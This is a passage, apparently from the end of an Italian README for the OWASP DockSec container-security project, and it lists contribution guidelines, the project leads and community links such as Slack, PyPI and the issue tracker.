Per iniziare, consulta le nostre [Linee guida per i contributi](https://github.com/owasp/docksec/blob/main/CONTRIBUTING.md), il [Codice di condotta](https://github.com/owasp/docksec/blob/main/CODE_OF_CONDUCT.md) e la [Guida alla sponsorizzazione](https://github.com/owasp/docksec/blob/main/SPONSORSHIP.md).
---
## Leader e comunità
DockSec è guidato da un team dedicato impegnato a rendere accessibile la sicurezza dei container:
- [Advait Patel](https://github.com/advaitpatel) - Project Lead
- [Arkadii Yakovets](https://github.com/arkid15r) - Project Co-lead
Trovaci qui:
- **Pagina del progetto OWASP**: [owasp.org/DockSec/](https://owasp.org/DockSec/)
- **OWASP Slack**: [#project-docksec](https://owasp.slack.com/archives/C0APXGCUW7M)
- **PyPI**: [pypi.org/project/docksec/](https://pypi.org/project/docksec/)
- **Issue**: [Segnala un bug](https://github.com/OWASP/DockSec/issues)
- **Changelog**: [CHANGELOG.md](https://github.com/owasp/docksec/blob/main/CHANGELOG.md)
---
<div align="center">
<strong>Se DockSec ti è utile, metti una stella al repo per aiutare altri a scoprirlo.</strong><br>
Creato da <a href="https://github.com/advaitpatel">Advait Patel</a> e dalla comunità OWASP.
</div>